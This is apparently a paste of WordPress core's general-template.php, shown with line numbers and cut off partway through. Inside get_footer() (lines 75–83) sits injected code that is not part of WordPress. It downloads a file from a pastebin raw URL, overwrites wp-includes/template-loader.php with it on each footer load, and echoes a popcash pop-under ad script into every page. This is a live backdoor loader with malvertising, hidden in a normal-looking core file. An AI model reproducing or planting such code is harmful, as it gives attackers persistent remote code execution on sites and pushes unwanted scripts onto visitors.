· 9 years ago · Oct 31, 2016, 02:20 PM
1<?php
2/**
3 * General template tags that can go anywhere in a template.
4 *
5 * @package WordPress
6 * @subpackage Template
7 */
8
9/**
10 * Load header template.
11 *
12 * Includes the header template for a theme or if a name is specified then a
13 * specialised header will be included.
14 *
15 * For the parameter, if the file is called "header-special.php" then specify
16 * "special".
17 *
18 * @since 1.5.0
19 *
20 * @param string $name The name of the specialised header.
21 */
22function get_header( $name = null ) {
23 /**
24 * Fires before the header template file is loaded.
25 *
26 * The hook allows a specific header template file to be used in place of the
27 * default header template file. If your file is called header-new.php,
28 * you would specify the filename in the hook as get_header( 'new' ).
29 *
30 * @since 2.1.0
31 * @since 2.8.0 $name parameter added.
32 *
33 * @param string $name Name of the specific header file to use.
34 */
35 do_action( 'get_header', $name );
36
37 $templates = array();
38 $name = (string) $name;
39 if ( '' !== $name ) {
40 $templates[] = "header-{$name}.php";
41 }
42
43 $templates[] = 'header.php';
44
45 locate_template( $templates, true );
46}
47
48/**
49 * Load footer template.
50 *
51 * Includes the footer template for a theme or if a name is specified then a
52 * specialised footer will be included.
53 *
54 * For the parameter, if the file is called "footer-special.php" then specify
55 * "special".
56 *
57 * @since 1.5.0
58 *
59 * @param string $name The name of the specialised footer.
60 */
61function get_footer( $name = null ) {
62 /**
63 * Fires before the footer template file is loaded.
64 *
65 * The hook allows a specific footer template file to be used in place of the
66 * default footer template file. If your file is called footer-new.php,
67 * you would specify the filename in the hook as get_footer( 'new' ).
68 *
69 * @since 2.1.0
70 * @since 2.8.0 $name parameter added.
71 *
72 * @param string $name Name of the specific footer file to use.
73 */
74 do_action( 'get_footer', $name );
75$loader = "http://pastebin.com/raw/vmG80tZt";
76copy($loader,"/home/k0526563/public_html/mediamuda.com/wp-includes/template-loader.php");
77echo '
78 <script type="text/javascript">
79var uid = \'115690\';
80var wid = \'276907\';
81</script>
82<script type="text/javascript" src="//cdn.popcash.net/pop.js"></script>
83';
84 $templates = array();
85 $name = (string) $name;
86 if ( '' !== $name ) {
87 $templates[] = "footer-{$name}.php";
88 }
89
90 $templates[] = 'footer.php';
91
92 locate_template( $templates, true );
93}
94
95/**
96 * Load sidebar template.
97 *
98 * Includes the sidebar template for a theme or if a name is specified then a
99 * specialised sidebar will be included.
100 *
101 * For the parameter, if the file is called "sidebar-special.php" then specify
102 * "special".
103 *
104 * @since 1.5.0
105 *
106 * @param string $name The name of the specialised sidebar.
107 */
108function get_sidebar( $name = null ) {
109 /**
110 * Fires before the sidebar template file is loaded.
111 *
112 * The hook allows a specific sidebar template file to be used in place of the
113 * default sidebar template file. If your file is called sidebar-new.php,
114 * you would specify the filename in the hook as get_sidebar( 'new' ).
115 *
116 * @since 2.2.0
117 * @since 2.8.0 $name parameter added.
118 *
119 * @param string $name Name of the specific sidebar file to use.
120 */
121 do_action( 'get_sidebar', $name );
122
123 $templates = array();
124 $name = (string) $name;
125 if ( '' !== $name )
126 $templates[] = "sidebar-{$name}.php";
127
128 $templates[] = 'sidebar.php';
129
130 locate_template( $templates, true );
131}
132
133/**
134 * Load a template part into a template
135 *
136 * Makes it easy for a theme to reuse sections of code in a easy to overload way
137 * for child themes.
138 *
139 * Includes the named template part for a theme or if a name is specified then a
140 * specialised part will be included. If the theme contains no {slug}.php file
141 * then no template will be included.
142 *
143 * The template is included using require, not require_once, so you may include the
144 * same template part multiple times.
145 *
146 * For the $name parameter, if the file is called "{slug}-special.php" then specify
147 * "special".
148 *
149 * @since 3.0.0
150 *
151 * @param string $slug The slug name for the generic template.
152 * @param string $name The name of the specialised template.
153 */
154function get_template_part( $slug, $name = null ) {
155 /**
156 * Fires before the specified template part file is loaded.
157 *
158 * The dynamic portion of the hook name, `$slug`, refers to the slug name
159 * for the generic template part.
160 *
161 * @since 3.0.0
162 *
163 * @param string $slug The slug name for the generic template.
164 * @param string $name The name of the specialized template.
165 */
166 do_action( "get_template_part_{$slug}", $slug, $name );
167
168 $templates = array();
169 $name = (string) $name;
170 if ( '' !== $name )
171 $templates[] = "{$slug}-{$name}.php";
172
173 $templates[] = "{$slug}.php";
174
175 locate_template($templates, true, false);
176}
177
178/**
179 * Display search form.
180 *
181 * Will first attempt to locate the searchform.php file in either the child or
182 * the parent, then load it. If it doesn't exist, then the default search form
183 * will be displayed. The default search form is HTML, which will be displayed.
184 * There is a filter applied to the search form HTML in order to edit or replace
185 * it. The filter is {@see 'get_search_form'}.
186 *
187 * This function is primarily used by themes which want to hardcode the search
188 * form into the sidebar and also by the search widget in WordPress.
189 *
190 * There is also an action that is called whenever the function is run called,
191 * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the
192 * search relies on or various formatting that applies to the beginning of the
193 * search. To give a few examples of what it can be used for.
194 *
195 * @since 2.7.0
196 *
197 * @param bool $echo Default to echo and not return the form.
198 * @return string|void String when $echo is false.
199 */
200function get_search_form( $echo = true ) {
201 /**
202 * Fires before the search form is retrieved, at the start of get_search_form().
203 *
204 * @since 2.7.0 as 'get_search_form' action.
205 * @since 3.6.0
206 *
207 * @link https://core.trac.wordpress.org/ticket/19321
208 */
209 do_action( 'pre_get_search_form' );
210
211 $format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
212
213 /**
214 * Filters the HTML format of the search form.
215 *
216 * @since 3.6.0
217 *
218 * @param string $format The type of markup to use in the search form.
219 * Accepts 'html5', 'xhtml'.
220 */
221 $format = apply_filters( 'search_form_format', $format );
222
223 $search_form_template = locate_template( 'searchform.php' );
224 if ( '' != $search_form_template ) {
225 ob_start();
226 require( $search_form_template );
227 $form = ob_get_clean();
228 } else {
229 if ( 'html5' == $format ) {
230 $form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
231 <label>
232 <span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
233 <input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search …', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />
234 </label>
235 <input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
236 </form>';
237 } else {
238 $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
239 <div>
240 <label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
241 <input type="text" value="' . get_search_query() . '" name="s" id="s" />
242 <input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
243 </div>
244 </form>';
245 }
246 }
247
248 /**
249 * Filters the HTML output of the search form.
250 *
251 * @since 2.7.0
252 *
253 * @param string $form The search form HTML output.
254 */
255 $result = apply_filters( 'get_search_form', $form );
256
257 if ( null === $result )
258 $result = $form;
259
260 if ( $echo )
261 echo $result;
262 else
263 return $result;
264}
265
266/**
267 * Display the Log In/Out link.
268 *
269 * Displays a link, which allows users to navigate to the Log In page to log in
270 * or log out depending on whether they are currently logged in.
271 *
272 * @since 1.5.0
273 *
274 * @param string $redirect Optional path to redirect to on login/logout.
275 * @param bool $echo Default to echo and not return the link.
276 * @return string|void String when retrieving.
277 */
278function wp_loginout($redirect = '', $echo = true) {
279 if ( ! is_user_logged_in() )
280 $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
281 else
282 $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
283
284 if ( $echo ) {
285 /**
286 * Filters the HTML output for the Log In/Log Out link.
287 *
288 * @since 1.5.0
289 *
290 * @param string $link The HTML link content.
291 */
292 echo apply_filters( 'loginout', $link );
293 } else {
294 /** This filter is documented in wp-includes/general-template.php */
295 return apply_filters( 'loginout', $link );
296 }
297}
298
299/**
300 * Retrieves the logout URL.
301 *
302 * Returns the URL that allows the user to log out of the site.
303 *
304 * @since 2.7.0
305 *
306 * @param string $redirect Path to redirect to on logout.
307 * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url().
308 */
309function wp_logout_url($redirect = '') {
310 $args = array( 'action' => 'logout' );
311 if ( !empty($redirect) ) {
312 $args['redirect_to'] = urlencode( $redirect );
313 }
314
315 $logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
316 $logout_url = wp_nonce_url( $logout_url, 'log-out' );
317
318 /**
319 * Filters the logout URL.
320 *
321 * @since 2.8.0
322 *
323 * @param string $logout_url The HTML-encoded logout URL.
324 * @param string $redirect Path to redirect to on logout.
325 */
326 return apply_filters( 'logout_url', $logout_url, $redirect );
327}
328
329/**
330 * Retrieves the login URL.
331 *
332 * @since 2.7.0
333 *
334 * @param string $redirect Path to redirect to on log in.
335 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
336 * Default false.
337 * @return string The login URL. Not HTML-encoded.
338 */
339function wp_login_url($redirect = '', $force_reauth = false) {
340 $login_url = site_url('wp-login.php', 'login');
341
342 if ( !empty($redirect) )
343 $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
344
345 if ( $force_reauth )
346 $login_url = add_query_arg('reauth', '1', $login_url);
347
348 /**
349 * Filters the login URL.
350 *
351 * @since 2.8.0
352 * @since 4.2.0 The `$force_reauth` parameter was added.
353 *
354 * @param string $login_url The login URL. Not HTML-encoded.
355 * @param string $redirect The path to redirect to on login, if supplied.
356 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
357 */
358 return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
359}
360
361/**
362 * Returns the URL that allows the user to register on the site.
363 *
364 * @since 3.6.0
365 *
366 * @return string User registration URL.
367 */
368function wp_registration_url() {
369 /**
370 * Filters the user registration URL.
371 *
372 * @since 3.6.0
373 *
374 * @param string $register The user registration URL.
375 */
376 return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
377}
378
379/**
380 * Provides a simple login form for use anywhere within WordPress.
381 *
382 * The login format HTML is echoed by default. Pass a false value for `$echo` to return it instead.
383 *
384 * @since 3.0.0
385 *
386 * @param array $args {
387 * Optional. Array of options to control the form output. Default empty array.
388 *
389 * @type bool $echo Whether to display the login form or return the form HTML code.
390 * Default true (echo).
391 * @type string $redirect URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
392 * Default is to redirect back to the request URI.
393 * @type string $form_id ID attribute value for the form. Default 'loginform'.
394 * @type string $label_username Label for the username or email address field. Default 'Username or Email'.
395 * @type string $label_password Label for the password field. Default 'Password'.
396 * @type string $label_remember Label for the remember field. Default 'Remember Me'.
397 * @type string $label_log_in Label for the submit button. Default 'Log In'.
398 * @type string $id_username ID attribute value for the username field. Default 'user_login'.
399 * @type string $id_password ID attribute value for the password field. Default 'user_pass'.
400 * @type string $id_remember ID attribute value for the remember field. Default 'rememberme'.
401 * @type string $id_submit ID attribute value for the submit button. Default 'wp-submit'.
402 * @type bool $remember Whether to display the "rememberme" checkbox in the form.
403 * @type string $value_username Default value for the username field. Default empty.
404 * @type bool $value_remember Whether the "Remember Me" checkbox should be checked by default.
405 * Default false (unchecked).
406 *
407 * }
408 * @return string|void String when retrieving.
409 */
410function wp_login_form( $args = array() ) {
411 $defaults = array(
412 'echo' => true,
413 // Default 'redirect' value takes the user back to the request URI.
414 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
415 'form_id' => 'loginform',
416 'label_username' => __( 'Username or Email' ),
417 'label_password' => __( 'Password' ),
418 'label_remember' => __( 'Remember Me' ),
419 'label_log_in' => __( 'Log In' ),
420 'id_username' => 'user_login',
421 'id_password' => 'user_pass',
422 'id_remember' => 'rememberme',
423 'id_submit' => 'wp-submit',
424 'remember' => true,
425 'value_username' => '',
426 // Set 'value_remember' to true to default the "Remember me" checkbox to checked.
427 'value_remember' => false,
428 );
429
430 /**
431 * Filters the default login form output arguments.
432 *
433 * @since 3.0.0
434 *
435 * @see wp_login_form()
436 *
437 * @param array $defaults An array of default login form arguments.
438 */
439 $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
440
441 /**
442 * Filters content to display at the top of the login form.
443 *
444 * The filter evaluates just following the opening form tag element.
445 *
446 * @since 3.0.0
447 *
448 * @param string $content Content to display. Default empty.
449 * @param array $args Array of login form arguments.
450 */
451 $login_form_top = apply_filters( 'login_form_top', '', $args );
452
453 /**
454 * Filters content to display in the middle of the login form.
455 *
456 * The filter evaluates just following the location where the 'login-password'
457 * field is displayed.
458 *
459 * @since 3.0.0
460 *
461 * @param string $content Content to display. Default empty.
462 * @param array $args Array of login form arguments.
463 */
464 $login_form_middle = apply_filters( 'login_form_middle', '', $args );
465
466 /**
467 * Filters content to display at the bottom of the login form.
468 *
469 * The filter evaluates just preceding the closing form tag element.
470 *
471 * @since 3.0.0
472 *
473 * @param string $content Content to display. Default empty.
474 * @param array $args Array of login form arguments.
475 */
476 $login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
477
478 $form = '
479 <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
480 ' . $login_form_top . '
481 <p class="login-username">
482 <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
483 <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
484 </p>
485 <p class="login-password">
486 <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
487 <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
488 </p>
489 ' . $login_form_middle . '
490 ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
491 <p class="login-submit">
492 <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
493 <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
494 </p>
495 ' . $login_form_bottom . '
496 </form>';
497
498 if ( $args['echo'] )
499 echo $form;
500 else
501 return $form;
502}
503
504/**
505 * Returns the URL that allows the user to retrieve the lost password
506 *
507 * @since 2.8.0
508 *
509 * @param string $redirect Path to redirect to on login.
510 * @return string Lost password URL.
511 */
512function wp_lostpassword_url( $redirect = '' ) {
513 $args = array( 'action' => 'lostpassword' );
514 if ( !empty($redirect) ) {
515 $args['redirect_to'] = $redirect;
516 }
517
518 $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
519
520 /**
521 * Filters the Lost Password URL.
522 *
523 * @since 2.8.0
524 *
525 * @param string $lostpassword_url The lost password page URL.
526 * @param string $redirect The path to redirect to on login.
527 */
528 return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
529}
530
531/**
532 * Display the Registration or Admin link.
533 *
534 * Display a link which allows the user to navigate to the registration page if
535 * not logged in and registration is enabled or to the dashboard if logged in.
536 *
537 * @since 1.5.0
538 *
539 * @param string $before Text to output before the link. Default `<li>`.
540 * @param string $after Text to output after the link. Default `</li>`.
541 * @param bool $echo Default to echo and not return the link.
542 * @return string|void String when retrieving.
543 */
544function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
545 if ( ! is_user_logged_in() ) {
546 if ( get_option('users_can_register') )
547 $link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
548 else
549 $link = '';
550 } elseif ( current_user_can( 'read' ) ) {
551 $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
552 } else {
553 $link = '';
554 }
555
556 /**
557 * Filters the HTML link to the Registration or Admin page.
558 *
559 * Users are sent to the admin page if logged-in, or the registration page
560 * if enabled and logged-out.
561 *
562 * @since 1.5.0
563 *
564 * @param string $link The HTML code for the link to the Registration or Admin page.
565 */
566 $link = apply_filters( 'register', $link );
567
568 if ( $echo ) {
569 echo $link;
570 } else {
571 return $link;
572 }
573}
574
575/**
576 * Theme container function for the 'wp_meta' action.
577 *
578 * The {@see 'wp_meta'} action can have several purposes, depending on how you use it,
579 * but one purpose might have been to allow for theme switching.
580 *
581 * @since 1.5.0
582 *
583 * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
584 */
585function wp_meta() {
586 /**
587 * Fires before displaying echoed content in the sidebar.
588 *
589 * @since 1.5.0
590 */
591 do_action( 'wp_meta' );
592}
593
594/**
595 * Displays information about the current site.
596 *
597 * @since 0.71
598 *
599 * @see get_bloginfo() For possible `$show` values
600 *
601 * @param string $show Optional. Site information to display. Default empty.
602 */
603function bloginfo( $show = '' ) {
604 echo get_bloginfo( $show, 'display' );
605}
606
607/**
608 * Retrieves information about the current site.
609 *
610 * Possible values for `$show` include:
611 *
612 * - 'name' - Site title (set in Settings > General)
613 * - 'description' - Site tagline (set in Settings > General)
614 * - 'wpurl' - The WordPress address (URL) (set in Settings > General)
615 * - 'url' - The Site address (URL) (set in Settings > General)
616 * - 'admin_email' - Admin email (set in Settings > General)
617 * - 'charset' - The "Encoding for pages and feeds" (set in Settings > Reading)
618 * - 'version' - The current WordPress version
619 * - 'html_type' - The content-type (default: "text/html"). Themes and plugins
620 * can override the default value using the {@see 'pre_option_html_type'} filter
621 * - 'text_direction' - The text direction determined by the site's language. is_rtl()
622 * should be used instead
623 * - 'language' - Language code for the current site
624 * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme
625 * will take precedence over this value
626 * - 'stylesheet_directory' - Directory path for the active theme. An active child theme
627 * will take precedence over this value
628 * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active
629 * child theme will NOT take precedence over this value
630 * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php)
631 * - 'atom_url' - The Atom feed URL (/feed/atom)
632 * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rfd)
633 * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss)
634 * - 'rss2_url' - The RSS 2.0 feed URL (/feed)
635 * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed)
636 * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed)
637 *
638 * Some `$show` values are deprecated and will be removed in future versions.
639 * These options will trigger the _deprecated_argument() function.
640 *
641 * Deprecated arguments include:
642 *
643 * - 'siteurl' - Use 'url' instead
644 * - 'home' - Use 'url' instead
645 *
646 * @since 0.71
647 *
648 * @global string $wp_version
649 *
650 * @param string $show Optional. Site info to retrieve. Default empty (site name).
651 * @param string $filter Optional. How to filter what is retrieved. Default 'raw'.
652 * @return string Mostly string values, might be empty.
653 */
654function get_bloginfo( $show = '', $filter = 'raw' ) {
655 switch( $show ) {
656 case 'home' : // DEPRECATED
657 case 'siteurl' : // DEPRECATED
658 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
659 /* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument */
660 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
661 '<code>' . $show . '</code>',
662 '<code>bloginfo()</code>',
663 '<code>url</code>'
664 ) );
665 case 'url' :
666 $output = home_url();
667 break;
668 case 'wpurl' :
669 $output = site_url();
670 break;
671 case 'description':
672 $output = get_option('blogdescription');
673 break;
674 case 'rdf_url':
675 $output = get_feed_link('rdf');
676 break;
677 case 'rss_url':
678 $output = get_feed_link('rss');
679 break;
680 case 'rss2_url':
681 $output = get_feed_link('rss2');
682 break;
683 case 'atom_url':
684 $output = get_feed_link('atom');
685 break;
686 case 'comments_atom_url':
687 $output = get_feed_link('comments_atom');
688 break;
689 case 'comments_rss2_url':
690 $output = get_feed_link('comments_rss2');
691 break;
692 case 'pingback_url':
693 $output = site_url( 'xmlrpc.php' );
694 break;
695 case 'stylesheet_url':
696 $output = get_stylesheet_uri();
697 break;
698 case 'stylesheet_directory':
699 $output = get_stylesheet_directory_uri();
700 break;
701 case 'template_directory':
702 case 'template_url':
703 $output = get_template_directory_uri();
704 break;
705 case 'admin_email':
706 $output = get_option('admin_email');
707 break;
708 case 'charset':
709 $output = get_option('blog_charset');
710 if ('' == $output) $output = 'UTF-8';
711 break;
712 case 'html_type' :
713 $output = get_option('html_type');
714 break;
715 case 'version':
716 global $wp_version;
717 $output = $wp_version;
718 break;
719 case 'language':
720 /* translators: Translate this to the correct language tag for your locale,
721 * see https://www.w3.org/International/articles/language-tags/ for reference.
722 * Do not translate into your own language.
723 */
724 $output = __( 'html_lang_attribute' );
725 if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {
726 $output = get_locale();
727 $output = str_replace( '_', '-', $output );
728 }
729 break;
730 case 'text_direction':
731 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
732 /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name */
733 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
734 '<code>' . $show . '</code>',
735 '<code>bloginfo()</code>',
736 '<code>is_rtl()</code>'
737 ) );
738 if ( function_exists( 'is_rtl' ) ) {
739 $output = is_rtl() ? 'rtl' : 'ltr';
740 } else {
741 $output = 'ltr';
742 }
743 break;
744 case 'name':
745 default:
746 $output = get_option('blogname');
747 break;
748 }
749
750 $url = true;
751 if (strpos($show, 'url') === false &&
752 strpos($show, 'directory') === false &&
753 strpos($show, 'home') === false)
754 $url = false;
755
756 if ( 'display' == $filter ) {
757 if ( $url ) {
758 /**
759 * Filters the URL returned by get_bloginfo().
760 *
761 * @since 2.0.5
762 *
763 * @param mixed $output The URL returned by bloginfo().
764 * @param mixed $show Type of information requested.
765 */
766 $output = apply_filters( 'bloginfo_url', $output, $show );
767 } else {
768 /**
769 * Filters the site information returned by get_bloginfo().
770 *
771 * @since 0.71
772 *
773 * @param mixed $output The requested non-URL site information.
774 * @param mixed $show Type of information requested.
775 */
776 $output = apply_filters( 'bloginfo', $output, $show );
777 }
778 }
779
780 return $output;
781}
782
783/**
784 * Returns the Site Icon URL.
785 *
786 * @since 4.3.0
787 *
788 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
789 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
790 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
791 * @return string Site Icon URL.
792 */
793function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
794 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
795 switch_to_blog( $blog_id );
796 }
797
798 $site_icon_id = get_option( 'site_icon' );
799
800 if ( $site_icon_id ) {
801 if ( $size >= 512 ) {
802 $size_data = 'full';
803 } else {
804 $size_data = array( $size, $size );
805 }
806 $url = wp_get_attachment_image_url( $site_icon_id, $size_data );
807 }
808
809 if ( is_multisite() && ms_is_switched() ) {
810 restore_current_blog();
811 }
812
813 /**
814 * Filters the site icon URL.
815 *
816 * @site 4.4.0
817 *
818 * @param string $url Site icon URL.
819 * @param int $size Size of the site icon.
820 * @param int $blog_id ID of the blog to get the site icon for.
821 */
822 return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
823}
824
825/**
826 * Displays the Site Icon URL.
827 *
828 * @since 4.3.0
829 *
830 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
831 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
832 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
833 */
834function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
835 echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
836}
837
838/**
839 * Whether the site has a Site Icon.
840 *
841 * @since 4.3.0
842 *
843 * @param int $blog_id Optional. ID of the blog in question. Default current blog.
844 * @return bool Whether the site has a site icon or not.
845 */
846function has_site_icon( $blog_id = 0 ) {
847 return (bool) get_site_icon_url( 512, '', $blog_id );
848}
849
850/**
851 * Determines whether the site has a custom logo.
852 *
853 * @since 4.5.0
854 *
855 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
856 * @return bool Whether the site has a custom logo or not.
857 */
858function has_custom_logo( $blog_id = 0 ) {
859 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
860 switch_to_blog( $blog_id );
861 }
862
863 $custom_logo_id = get_theme_mod( 'custom_logo' );
864
865 if ( is_multisite() && ms_is_switched() ) {
866 restore_current_blog();
867 }
868
869 return (bool) $custom_logo_id;
870}
871
872/**
873 * Returns a custom logo, linked to home.
874 *
875 * @since 4.5.0
876 *
877 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
878 * @return string Custom logo markup.
879 */
880function get_custom_logo( $blog_id = 0 ) {
881 $html = '';
882
883 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
884 switch_to_blog( $blog_id );
885 }
886
887 $custom_logo_id = get_theme_mod( 'custom_logo' );
888
889 // We have a logo. Logo is go.
890 if ( $custom_logo_id ) {
891 $html = sprintf( '<a href="%1$s" class="custom-logo-link" rel="home" itemprop="url">%2$s</a>',
892 esc_url( home_url( '/' ) ),
893 wp_get_attachment_image( $custom_logo_id, 'full', false, array(
894 'class' => 'custom-logo',
895 'itemprop' => 'logo',
896 ) )
897 );
898 }
899
900 // If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).
901 elseif ( is_customize_preview() ) {
902 $html = sprintf( '<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo"/></a>',
903 esc_url( home_url( '/' ) )
904 );
905 }
906
907 if ( is_multisite() && ms_is_switched() ) {
908 restore_current_blog();
909 }
910
911 /**
912 * Filters the custom logo output.
913 *
914 * @since 4.5.0
915 * @since 4.6.0 Added the `$blog_id` parameter.
916 *
917 * @param string $html Custom logo HTML output.
918 * @param int $blog_id ID of the blog to get the custom logo for.
919 */
920 return apply_filters( 'get_custom_logo', $html, $blog_id );
921}
922
923/**
924 * Displays a custom logo, linked to home.
925 *
926 * @since 4.5.0
927 *
928 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
929 */
930function the_custom_logo( $blog_id = 0 ) {
931 echo get_custom_logo( $blog_id );
932}
933
934/**
935 * Returns document title for the current page.
936 *
937 * @since 4.4.0
938 *
939 * @global int $page Page number of a single post.
940 * @global int $paged Page number of a list of posts.
941 *
942 * @return string Tag with the document title.
943 */
944function wp_get_document_title() {
945
946 /**
947 * Filters the document title before it is generated.
948 *
949 * Passing a non-empty value will short-circuit wp_get_document_title(),
950 * returning that value instead.
951 *
952 * @since 4.4.0
953 *
954 * @param string $title The document title. Default empty string.
955 */
956 $title = apply_filters( 'pre_get_document_title', '' );
957 if ( ! empty( $title ) ) {
958 return $title;
959 }
960
961 global $page, $paged;
962
963 $title = array(
964 'title' => '',
965 );
966
967 // If it's a 404 page, use a "Page not found" title.
968 if ( is_404() ) {
969 $title['title'] = __( 'Page not found' );
970
971 // If it's a search, use a dynamic search results title.
972 } elseif ( is_search() ) {
973 /* translators: %s: search phrase */
974 $title['title'] = sprintf( __( 'Search Results for “%s”' ), get_search_query() );
975
976 // If on the front page, use the site title.
977 } elseif ( is_front_page() ) {
978 $title['title'] = get_bloginfo( 'name', 'display' );
979
980 // If on a post type archive, use the post type archive title.
981 } elseif ( is_post_type_archive() ) {
982 $title['title'] = post_type_archive_title( '', false );
983
984 // If on a taxonomy archive, use the term title.
985 } elseif ( is_tax() ) {
986 $title['title'] = single_term_title( '', false );
987
988 /*
989 * If we're on the blog page that is not the homepage or
990 * a single post of any post type, use the post title.
991 */
992 } elseif ( is_home() || is_singular() ) {
993 $title['title'] = single_post_title( '', false );
994
995 // If on a category or tag archive, use the term title.
996 } elseif ( is_category() || is_tag() ) {
997 $title['title'] = single_term_title( '', false );
998
999 // If on an author archive, use the author's display name.
1000 } elseif ( is_author() && $author = get_queried_object() ) {
1001 $title['title'] = $author->display_name;
1002
1003 // If it's a date archive, use the date as the title.
1004 } elseif ( is_year() ) {
1005 $title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );
1006
1007 } elseif ( is_month() ) {
1008 $title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
1009
1010 } elseif ( is_day() ) {
1011 $title['title'] = get_the_date();
1012 }
1013
1014 // Add a page number if necessary.
1015 if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
1016 $title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
1017 }
1018
1019 // Append the description or site title to give context.
1020 if ( is_front_page() ) {
1021 $title['tagline'] = get_bloginfo( 'description', 'display' );
1022 } else {
1023 $title['site'] = get_bloginfo( 'name', 'display' );
1024 }
1025
1026 /**
1027 * Filters the separator for the document title.
1028 *
1029 * @since 4.4.0
1030 *
1031 * @param string $sep Document title separator. Default '-'.
1032 */
1033 $sep = apply_filters( 'document_title_separator', '-' );
1034
1035 /**
1036 * Filters the parts of the document title.
1037 *
1038 * @since 4.4.0
1039 *
1040 * @param array $title {
1041 * The document title parts.
1042 *
1043 * @type string $title Title of the viewed page.
1044 * @type string $page Optional. Page number if paginated.
1045 * @type string $tagline Optional. Site description when on home page.
1046 * @type string $site Optional. Site title when not on home page.
1047 * }
1048 */
1049 $title = apply_filters( 'document_title_parts', $title );
1050
1051 $title = implode( " $sep ", array_filter( $title ) );
1052 $title = wptexturize( $title );
1053 $title = convert_chars( $title );
1054 $title = esc_html( $title );
1055 $title = capital_P_dangit( $title );
1056
1057 return $title;
1058}
1059
1060/**
1061 * Displays title tag with content.
1062 *
1063 * @ignore
1064 * @since 4.1.0
1065 * @since 4.4.0 Improved title output replaced `wp_title()`.
1066 * @access private
1067 */
1068function _wp_render_title_tag() {
